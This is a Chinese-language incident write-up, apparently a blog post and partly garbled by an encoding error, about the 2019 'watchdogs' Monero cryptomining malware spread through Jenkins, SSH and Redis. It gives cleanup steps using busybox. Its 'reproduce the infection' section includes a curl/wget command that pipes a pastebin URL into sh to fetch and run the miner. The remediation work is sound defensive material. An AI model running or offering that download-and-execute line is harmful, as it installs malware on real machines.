背景
從昨日(20190221)中午起, 發(fā)現(xiàn)大量測(cè)試環(huán)境機(jī)器和一臺(tái)線上機(jī)器疑似感染挖礦病毒(后來確認(rèn)的確是門羅幣挖礦病毒), 經(jīng)過一天多的緊急排查, 已基本搞定了該病毒.
該病毒這兩天疑似大規(guī)模爆發(fā), 已經(jīng)有幾個(gè)其他公司的朋友中招, 也在網(wǎng)上看到一些帖子和提問.
下面先貼出梳理后的解決過程, 有時(shí)間再附上詳細(xì)的分析過程.
直觀表現(xiàn)
- top, ps -ef 無異常進(jìn)程
- load average 穩(wěn)步飆升
- netstat 命令被刪除
- 嘗試建立大量22端口, 6379端口的內(nèi)網(wǎng)連接
- crontab 被添加定時(shí)挖礦腳本, 刪除無效
傳播途徑
- Jenkins漏洞(or 弱密碼?)侵入
- 嘗試root用戶ssh的免密登錄
- 嘗試redis內(nèi)網(wǎng)登錄
準(zhǔn)備過程
獲取busybox
因感染病毒后, ls等系統(tǒng)命令會(huì)被劫持, 需要busybox替代這些系統(tǒng)命令, 下面提供從busybox官方docker鏡像中提取的靜態(tài)編譯版busybox過程.
docker run --rm -itv /tmp/:/tmp busybox:uclibc
cp /bin/busybox /tmp
exit
宿主機(jī)即獲取到: /tmp/busybox
復(fù)現(xiàn)感染過程()
這里演示docker環(huán)境root感染模式, docker與虛擬機(jī)環(huán)境有區(qū)別, 病毒行為會(huì)受限, 你也可以使用虛擬機(jī)進(jìn)行測(cè)試.
docker run --rm -it -v /tmp:/tmp centos:latest
yum install -y crontabs lsof e2fsprogs
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
使用busybox代替系統(tǒng)命令
busybox top, busybox ps -ef
此busybox
為靜態(tài)編譯版, 不依賴so庫, 系統(tǒng)的ls
等命令已被通過so庫的preload機(jī)制被病毒劫持, ls
會(huì)導(dǎo)致/etc/cron.d/root
文件被刷寫為病毒定時(shí)執(zhí)行命令.
發(fā)現(xiàn)比系統(tǒng)命令多兩個(gè)進(jìn)程(進(jìn)程個(gè)數(shù)跟cpu核數(shù)有關(guān)), 耗盡了所有cpu資源
/tmp/ksoftirqds
/tmp/watchdogs
查殺過程(系統(tǒng)命令已不可信, 操作優(yōu)先采用busybox)
關(guān)閉crontab
systemctl stop crond
安裝busybox
前面已經(jīng)將靜態(tài)編譯版的busybox放置在宿主機(jī)/tmp目錄下, 同時(shí)又將/tmp掛載到了docker 中的 /tmp 目錄下. 如果你使用虛擬機(jī)測(cè)試, 請(qǐng)自行上傳.
chmod +x /tmp/busybox && mv /tmp/busybox /sbin/
寫hosts, 屏蔽病毒腳本下載
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
刪除姑宽,創(chuàng)建穿肄,并鎖定 crontab相關(guān)文件
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
備份重要的crontab,然后刪除cron.d目錄的其他文件
busybox rm -rf /etc/cron.d/*
檢查并刪除下面目錄有異常文件
busybox ls /etc/cron.daily
busybox ls /etc/cron.hourly
busybox ls /etc/cron.monthly
busybox ls /etc/cron.weekly
刪除病毒相關(guān)執(zhí)行文件和啟動(dòng)腳本
busybox rm /sbin/watchdogs
busybox rm /usr/sbin/watchdogs
busybox rm /etc/init.d/watchdogs
busybox find / -type f -name '*watchdogs*' | busybox xargs rm -f
刪除病毒進(jìn)程
busybox pkill watchdogs
busybox pkill ksoftirqds
刪除被preload的so庫
busybox rm /usr/local/lib/libioset.so
busybox rm /etc/ld.so.preload
busybox rm /etc/ld.so.cache
驗(yàn)證libioset.so被卸載
lsof | grep usr/local/lib/libioset.so
無輸出, 則該動(dòng)態(tài)鏈接庫被卸載, 直接執(zhí)行驗(yàn)證步驟;
有輸出, kill掉占用的進(jìn)程, 重復(fù)執(zhí)行該步驟;
若反復(fù)執(zhí)行后無法成功卸載該動(dòng)態(tài)鏈接庫, 請(qǐng)執(zhí)行服務(wù)器重啟操作.
重啟服務(wù)器
驗(yàn)證步驟
busybox top # 查看系統(tǒng)負(fù)載
crontab -l # 查看是否還有異常任務(wù)
busybox chattr -i /etc/cron.d/root # 過一段時(shí)間查看是否有異常任務(wù)寫入